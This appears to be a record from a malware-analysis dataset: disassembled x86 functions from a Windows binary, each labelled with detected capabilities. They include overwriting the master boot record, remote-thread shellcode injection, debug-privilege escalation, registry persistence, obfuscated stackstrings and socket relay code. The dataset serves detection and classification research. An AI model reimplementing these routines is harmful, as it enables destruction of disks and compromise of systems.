joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007145
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push edi
lea eax, [ebp - 0x108]
push 0x104
push eax
xor edi, edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push edi
push edi
push 3
push edi
push 1
lea eax, [ebp - 0x108]
push closesocket
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x1000718f
xor eax, eax
jmp 0x100071e5
push esi
push 2
push edi
push 0xfffffc00
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov esi, 0x400
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ebx, eax
lea eax, [ebp - 4]
push edi
push eax
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push esi
push dword [ebp + 0xc]
push ebx
call fcn.100070f6
add esp, 0x10
cmp eax, 0xffffffff
pop esi
jne 0x100071e3
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x1000718b
add eax, ebx
pop edi
pop ebx
leave
ret

Function at 0x100071e9
Capabilities:
Set registry value

Disassembly:
mov eax, 0x10015004
call fcn.100149e4
sub esp, 0x604
and dword [ebp - 0x14], 0
and dword [ebp - 4], 0
push ebx
push esi
push edi
lea eax, [ebp - 0x610]
mov dword [ebp - 0x10], esp
push 0x10001680
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x610]
push 0x1000165c
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x610]
push 0x1f4
push eax
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x210]
push eax
push reloc.WS2_32.dll_bind
call dword [fcn.10015d44]
lea eax, [ebp - 0x18]
push 4
push eax
push 4
push 0
push 0x100016b0
mov dword [ebp - 0x18], 0x120
call dword [sym.imp.MSVCRT.dll__strrev]
pop ecx
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x10007736
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push 0x10001514
push 0x1000146c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x2f
mov ebx, eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
pop ecx
inc esi
pop ecx
je 0x10007778
push esi
push dword [ebp + 8]
call fcn.1000e8b9
pop ecx
test al, al
pop ecx
jne 0x1000777f
xor al, al
jmp 0x10007800
push edi
xor eax, eax
lea edi, [ebp - 0xf]
push 0x10
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x60]
xor edx, edx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x57
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x64]
push eax
push edx
push edx
push edx
push edx
push edx
push edx
push 0x10001e38
push esi
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x30
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x75
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], dl
mov dword [ebp - 0x64], 0x44
call ebx
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
pop ebx
leave
ret
Function at 0x10007804
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x57c
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x100015a0
push 0x10001e7c
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10001514
push 0x1000146c
mov dword [ebp - 0x20], eax
call esi
push eax
call edi
mov ebx, 0x100015ec
push 0x100015fc
push ebx
mov dword [ebp - 0x18], eax
call esi
push eax
call edi
push 0x10001e70
push ebx
mov dword [ebp - 0x24], eax
call esi
push eax
call edi
push dword [ebp + 8]
mov esi, eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x100079a2
lea eax, [ebp - 0x57c]
push 0x10001c04
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x57c]
push 0x10001e44
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, 0x104
xor ebx, ebx
mov dword [ebp - 0x1c], eax
push eax
lea eax, [ebp - 0x17c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0xf003f
lea eax, [ebp - 0x57c]
push ebx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100079a2
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x17c]
push eax
push ebx
push dword [ebp - 0x14]
call dword [ebp - 0x24]
push dword [ebp - 0x14]
call esi
lea eax, [ebp - 0x17c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100079a2
lea eax, [ebp - 0x17c]
push 0x100015cc
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x100079a2
push dword [ebp + 8]
push eax
call dword [ebp - 0x20]
xor eax, eax
lea edi, [ebp - 0xf]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x10
xor eax, eax
cmp dword [ebp + 0xc], ebx
pop ecx
lea edi, [ebp - 0x74]
mov byte [ebp - 0x10], 0x57
rep stosd dword es:[edi], eax
mov byte [ebp - 0xf], 0x69
mov byte [ebp - 0xe], 0x6e
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x61
mov byte [ebp - 0xa], 0x30
mov byte [ebp - 9], 0x5c
mov byte [ebp - 8], 0x44
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x66
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x75
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x74
mov byte [ebp - 1], bl
mov dword [ebp - 0x78], 0x44
je 0x10007989
lea eax, [ebp - 0x10]
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x78]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x17c]
push ebx
push eax
push ebx
call dword [ebp - 0x18]
pop edi
pop esi
xor al, al
pop ebx
leave
ret
Function at 0x100079a9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
mov ebx, 0x100015ec
push 0x10001e9c
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10001e8c
push ebx
mov dword [ebp - 8], eax
call esi
push eax
call edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x34], eax
xor ebx, ebx
lea eax, [ebp - 0x14]
mov byte [ebp - 0x2c], 0x41
mov byte [ebp - 0x2b], 0x70
mov byte [ebp - 0x2a], 0x70
mov byte [ebp - 0x29], 0x6c
mov byte [ebp - 0x28], 0x69
mov byte [ebp - 0x27], 0x63
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x74
mov byte [ebp - 0x24], 0x69
mov byte [ebp - 0x23], 0x6f
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], bl
mov byte [ebp - 0x20], 0x53
mov byte [ebp - 0x1f], 0x65
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], 0x75
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x69
mov byte [ebp - 0x1a], 0x74
mov byte [ebp - 0x19], 0x79
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x14], 0x53
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], 0x73
mov byte [ebp - 0x11], 0x74
mov byte [ebp - 0x10], 0x65
mov byte [ebp - 0xf], 0x6d
mov byte [ebp - 0xe], bl
mov dword [ebp - 0x30], eax
lea esi, [ebp - 0x38]
mov dword [ebp - 4], 3
push dword [esi]
push ebx
call dword [ebp - 8]
mov edi, eax
cmp edi, ebx
je 0x10007a83
push ebx
push edi
call fcn.100072ca
pop ecx
pop ecx
push edi
call dword [ebp - 0xc]
add esi, 4
dec dword [ebp - 4]
jne 0x10007a6a
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007b31
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x10001e70
push 0x100015ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
xor esi, esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007b95
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x14]
push 2
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10007b95
push dword [ebp - 4]
call edi
pop edi
pop esi
leave
ret

Function at 0x10007b99
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x10001e70
push 0x100015ec
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
xor esi, esi
lea eax, [ebp - 4]
push esi
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10007bf6
lea eax, [ebp + 0x14]
push 4
push eax
push 4
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10007bf6
push dword [ebp - 4]
call edi
pop edi
pop esi
leave
ret
Function at 0x10007d9d
Capabilities:
Overwrite master boot record (mbr)
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
push edi
push 0x1000215c
push 0x10001538
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x7f
mov dword [ebp - 4], eax
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp - 0x21f]
mov byte [ebp - 0x220], bl
push 0x33
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x220]
push 0x100016b8
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
mov byte [ebp - 0x22], 0x55
mov byte [ebp - 0x21], 0xaa
push ebx
push ebx
push 3
push ebx
push 3
push 0xc0000000
push 0x10002148
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
or eax, 0xffffffff
cmp esi, eax
je 0x10007ecc
lea eax, [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x90018
push esi
call edi
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x220]
push 0x200
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0xc]
push ebx
push eax
push ebx
push ebx
push ebx
push ebx
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x10007ebe
lea eax, [ebp - 8]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x1c]
push eax
push 0x10001eac
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push ebx
push ebx
lea eax, [ebp - 0x20]
push ebx
push eax
push ebx
push dword [ebp - 8]
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x14], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push ebx
push 6
call dword [ebp - 4]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10007ed1
Capabilities:
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push esi
lea eax, [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x10]
push eax
push 0x8004667e
push dword [ebp + 8]
xor esi, esi
mov dword [ebp + 0x10], esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test edi, edi
jle 0x10007f10
mov eax, dword [ebp + 0xc]
push 0
add eax, esi
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jle 0x10007f10
add esi, eax
sub edi, eax
jmp 0x10007ef0
mov eax, esi
pop edi
pop esi
pop ebp
ret
Function at 0x10007f16
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x210c
call fcn.10014a10
mov eax, dword [ebp + 8]
and byte [ebp - 0x210c], 0
push ebx
push esi
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push edi
mov dword [ebp - 4], eax
mov ecx, 0x7ff
xor eax, eax
lea edi, [ebp - 0x210b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.WS2_32.dll_recv]
mov esi, dword [ebp - 4]
push 1
pop edx
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x10c], edx
xor ecx, ecx
lea eax, [ebp - 0x108]
cmp dword [eax], esi
je 0x10007f76
inc ecx
add eax, 4
cmp ecx, edx
jb 0x10007f6a
cmp ecx, edx
jne 0x10007f8a
mov dword [ebp - 0x104], esi
mov dword [ebp - 0x10c], 2
xor esi, esi
lea eax, [ebp - 0x10c]
push esi
push esi
push esi
push eax
push esi
call dword [sym.imp.WS2_32.dll_select]
test eax, eax
jle 0x10008035
lea eax, [ebp - 0x10c]
push eax
push ebx
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10007fe9
push esi
lea eax, [ebp - 0x210c]
push 0x2000
push eax
push ebx
call edi
mov esi, eax
test esi, esi
jle 0x10008035
lea eax, [ebp - 0x210c]
push esi
push eax
push dword [ebp - 4]
call fcn.10007ed1
add esp, 0xc
test eax, eax
je 0x10008035
cmp eax, esi
jne 0x10008035
xor esi, esi
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call sub.WS2_32.dll___WSAFDIsSet
test eax, eax
je 0x10007f50
push esi
lea eax, [ebp - 0x210c]
push 0x2000
push eax
push dword [ebp - 4]
call edi
mov esi, eax
test esi, esi
jle 0x10008035
lea eax, [ebp - 0x210c]
push esi
push eax
push ebx
call fcn.10007ed1
add esp, 0xc
test eax, eax
je 0x10008035
cmp eax, esi
je 0x10007f50
mov esi, dword [sym.imp.WS2_32.dll_closesocket]
push ebx
call esi
push dword [ebp - 4]
call esi
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4

Function at 0x1000804c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x10008098
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov word [ebp - 0x10], 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000809c
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x1000809e
mov eax, esi
pop esi
leave
ret

Function at 0x100080b8
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
neg eax
sbb eax, eax
inc eax
add esp, 0x190
ret
Function at 0x10008154
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1038
call fcn.10014a10
or dword [ebp - 0x100c], 0xffffffff
push esi
push edi
xor esi, esi
push 0x1030
lea eax, [ebp - 0x1038]
push esi
push eax
mov dword [ebp - 0x1038], 0x10003c9c
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
lea eax, [ebp - 0x1034]
push 0x10002194
push 0x20
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
push dword [ebp + 0xc]
mov ax, word [ebp + 0x14]
mov word [ebp - 0x1014], ax
push dword [ebp + 8]
call fcn.100080a1
mov edi, eax
add esp, 0x24
cmp edi, esi
jbe 0x10008233
mov dword [ebp - 0x1010], edi
push esi
lea eax, [ebp - 2]
push 2
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x10008233
inc dword [0x100165fc]
cmp dword [ebp - 0x100c], 0x800
jge 0x10008200
inc dword [ebp - 0x100c]
mov ecx, dword [ebp - 0x100c]
mov ax, word [ebp - 2]
mov word [ebp + ecx*2 - 0x1008], ax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x1038]
push esi
push eax
push 0x100080da
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x10008226
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x100081c4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100081c4
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x100083b2
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x100083d3
xor al, al
leave
ret
lea eax, [ebp - 0xc]
push ebx
push eax
xor ebx, ebx
push 0x10002198
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x1000841c
mov eax, dword [ebp - 0xc]
push ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push ebx
lea eax, [ebp - 0x1c]
push 0x10
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1000841c
mov bl, 1
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop ebx
leave
ret
Function at 0x100084c0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
call fcn.100083b2
push dword [ebp + 8]
call fcn.1000e68c
pop ecx
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [ebp + 8], eax
jne 0x100084f6
xor al, al
jmp 0x10008692
push 0xf4
lea eax, [ebp - 0xf8]
push 0
push eax
call sub.MSVCRT.dll_memset
push 0x10002278
call dword [sym.imp.MSVCRT.dll__strrev]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 0x10
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
push 0x10002268
push ebx
call esi
push 0x10002258
push ebx
mov dword [ebp - 0xf8], eax
call esi
push 0x10002244
push ebx
mov dword [ebp - 0xf4], eax
call esi
push 0x10002234
push ebx
mov dword [ebp - 0xf0], eax
call esi
push 0x10002224
push ebx
mov dword [ebp - 0xec], eax
call esi
push 0x10002214
push ebx
mov dword [ebp - 0xe8], eax
call esi
push 0x10002200
push ebx
mov dword [ebp - 0xe4], eax
call esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov dword [ebp - 0xe0], eax
call ebx
push 0x100021f4
call edi
push 0x100021e4
push eax
mov dword [ebp - 4], eax
call esi
push dword [ebp - 4]
mov dword [ebp - 0xdc], eax
call ebx
push 0x1000146c
call edi
mov edi, eax
push 0x100021dc
push edi
call esi
push 0x100021d0
push edi
mov dword [ebp - 0xd4], eax
call esi
push edi
mov dword [ebp - 0xd8], eax
call ebx
push dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0xcc]
push eax
call esi
lea eax, [ebp - 0x68]
push 0x100021ac
push eax
call esi
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, 0x1000
mov esi, 0xf4
push ebx
push esi
push 0
push dword [ebp + 8]
call edi
test eax, eax
mov dword [ebp + 0xc], eax
je 0x100084ef
push 0
lea ecx, [ebp - 0xf8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ecx
push eax
push dword [ebp + 8]
call esi
test eax, eax
je 0x100084ef
push 0x40
push ebx
mov ebx, 0x2800
push ebx
push 0
push dword [ebp + 8]
call edi
mov edi, eax
test edi, edi
je 0x100084ef
push 0
push ebx
push 0x1000842a
push edi
push dword [ebp + 8]
call esi
test eax, eax
je 0x100084ef
xor eax, eax
push eax
push eax
push dword [ebp + 0xc]
push edi
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
setne al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10008fba
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov word [ebp - 0x14], 2
push dword [ebp + 0x10]
call dword [0x10016598]
mov edi, dword [ebp + 0xc]
mov esi, dword [sym.imp.WS2_32.dll_inet_addr]
push edi
mov word [ebp - 0x12], ax
call esi
cmp eax, 0xffffffff
push edi
jne 0x10009009
call fcn.10008e10
test eax, eax
pop ecx
je 0x1000905d
push edi
call fcn.10008e10
pop ecx
push eax
call esi
push 6
push 1
push 2
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [ebp + 8]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x1000905d
lea ecx, [ebp - 4]
push 4
push ecx
push 0x1006
push 0xffff
push eax
mov dword [ebp - 4], 0x258
call dword [0x10015d5c]
lea eax, [ebp - 0x14]
push 0x10
push eax
push dword [esi]
call dword [0x100165a0]
cmp eax, 0xffffffff
jne 0x10009063
push dword [esi]
call dword [0x1001659c]
xor eax, eax
pop edi
pop esi
leave
ret
push 1
pop eax
jmp 0x1000905f

Function at 0x100090ff
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push edi
xor edi, edi
push 0x10
lea eax, [ebp - 0x24]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 4], 0x10
mov word [ebp - 0x14], 2
mov dword [ebp - 0x10], edi
push 0x11
push 2
push 2
mov word [ebp - 0x12], di
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x10009153
lea eax, [ebp - 0x14]
push 0x10
push eax
push edi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x10009157
xor eax, eax
jmp 0x10009190
mov eax, dword [ebp + 0xc]
mov dword [eax], edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x124]
push eax
call fcn.10008da6
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [ebp + 8]
push 1
mov dword [ecx + 4], eax
mov ax, word [ebp - 0x22]
mov word [ecx + 8], ax
pop eax
pop edi
leave
ret